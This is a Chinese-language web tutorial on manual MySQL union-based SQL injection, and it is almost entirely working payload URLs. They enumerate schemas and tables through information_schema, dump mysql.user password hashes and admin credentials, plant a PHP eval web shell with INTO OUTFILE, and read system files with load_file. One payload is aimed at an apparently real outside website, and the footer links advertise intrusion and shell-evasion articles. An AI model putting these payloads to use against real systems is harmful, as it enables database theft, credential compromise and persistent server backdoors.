手动mysql 高级注入实例分析

所属分类: 网络安全 / 黑客入侵 阅读数: 149
收藏 0 赞 0 分享
利用Information_schema系统库来注入,配合使用group_concat()函数,group_concat()功能强大,而且能够绕过limit限制

http://127.0.0.1/sql.php?id=1 union select 0,0,0 字段为 3
http://127.0.0.1/sql.php?id=1 and 1=2 union select count(*),1,1 from mysql.user 统计数据库中又多少个用户


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata 测试过程中只有 root权限或者 全局权限才能爆出所有数据库 普通用户不能爆出所有用户
这样就把mysql服务器所有数据库名字显示出来了

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x74657374
这样就能把 test 数据库中的 所有表显示出来了。 其中 0x74657374 为 test 的 hex 值


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646D696E
这样就把admin表中所有的字段名 显示出来了。

这样注入手法很灵活的。突破了 limit 限制了。
来看下 穿山甲的注入语句



以下部分只有root 权限或者 全局权限才能操作
======================================================================================================================================
select user from mysql.user



http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),user,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1)t order by user desc)t limit 1-- 查看数据库中有那些用户


http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1) t order by user desc)t limit 1-- 查看对应用户的 密码


通过不断修改limit 2,1达到查看所有 http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 2,1) t order by user desc)t limit 1--
===========================================================================================================================================================



http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 0,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 1,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 2,10
通过 limit 一条条记录取出来

或者直接用group_concat()函数 一次显示出来
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from admin


into outfile 的应用 注意路径是 这样的c:/2ww.php
http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)),1,1 into outfile 'c:/cm14dd.php'
<?php eval($_POST[cmd])?> 的 asc码 char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,'<?php eval($_POST[cmd])?>',3 into outfile 'c:/tt33.txt'



load_file 的应用

http://127.0.0.1//sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),load_file(0x633a5c626f6f742e696e69),char(94),char(94),char(94)),1,1 --
0x633a5c626f6f742e696e69 是 c:\boot.ini 的 hex编码
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,load_file('c:/boot.ini')



http://www.else1.com/concrete.php?id=5%20and%201=2%20union%20select%201,2,3,4,group_concat(schema_name)%20from%20information_schema.schemata

相关文件打包下载[用于测试的数据库sql文件与php代码]
更多精彩内容其他人还在看

黑客谈MS07-029域名DNS漏洞利用入侵过程

前言: MS07-029,Windows 域名系统 (DNS) 服务器服务的远程过程调用 (RPC) 管理接口中存在基于堆栈的缓冲区溢出。漏洞的前提是没打补丁,开启DNS服务的所有版本WINDOWS 2000 Server和WINDOWS 2003 Server。 今天
收藏 0 赞 0 分享

黑客教你SQL注入Access导出WebShell的方法

热 点: 已经听N个人过说有人已经发现SQL注入Access得到webshell的技术了,也只是听说而已,具体的细节还是不得而知。 最近在看的书中一章提到Jet的安全,然后灵光一闪,呵呵,发现了一种可以利用access导出asp的方法,分享之。
收藏 0 赞 0 分享

一个注射点,一个webshell甚至系统权限

————只要给我一个注射点,无论什么权限,我都给你一个webshell甚至系统权限 声明:本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责。因为 发觉其危害过大,原文已经经过大量删减及修改,即使这样本文的危害性
收藏 0 赞 0 分享

黑客实战:一次简单脚本攻击实例

一、开篇 今天闲着无聊,到本地区的一个社区上转转,那些人污言秽语的,有个帖子还侵犯了一个朋友的版权,跟贴说了那人几句,管理员也不管,实在看不下去了,打算给管理员盆冷水清醒清醒。 二、准备/分析 安全第一,先开个HTTP代理,打开社区的登陆页面,
收藏 0 赞 0 分享

eWebEditor编辑器成网站中的隐形炸弹

站长在使用eWebEditor的时候是否发现,eWebEditor配置不当会使其成为网站中的隐形炸弹呢?第一次发现这漏洞源于去年的一次入侵,在山穷水尽的时候发现了eWebEditor,于是很简单就获得了WebShell。后来又有好几次利用eWebEditor进行入侵的成功经历,这
收藏 0 赞 0 分享

系统泄露密码的入侵攻击分析

WINDOWS访问139端口时自动用当前用户、密码连接,造成泄露用户密码,虽然其密码是加密的,但一样可以用来攻击。   下面是SMB的密码认证方式。   WINDOWS的139口的访问过程,箭头表示数据方向:   1.客户端<---------------
收藏 0 赞 0 分享

看看黑客是怎样使用Google黑掉Windows服务器

在我的《为什么使用Google扫描安全漏洞》的技巧中,我讨论了如何使用Google.com来执行对你的面向公众的服务器的安全扫描――包括Windows、IIS、Apache和(但愿不会如此!)SQL Server。你能使用它得到服务器的信息、包含敏感信息的文件和检测出&ldquo
收藏 0 赞 0 分享

黑客总结的实用的网站渗透步骤

本文是黑客们总结的比较实用的网站渗透的一些步骤
收藏 0 赞 0 分享

一句话木马加密 过护卫神云查杀系统 过shell扫描器

这个一句话木马最近被利用的很多,很多扫描工具扫描不到,不过一些asp版的扫描工具支持扫描eval和execute,如果发现如下代码,请删除,下面就是他们常发的木马后门
收藏 0 赞 0 分享

安全狗下添加用户的另一方法(大量操作实现突破)

这篇文章主要是针对安装服务器安全狗的机器,突破添加用户的操作,用for循环实现,但如果服务器安装了360就无法使用
收藏 0 赞 0 分享
查看更多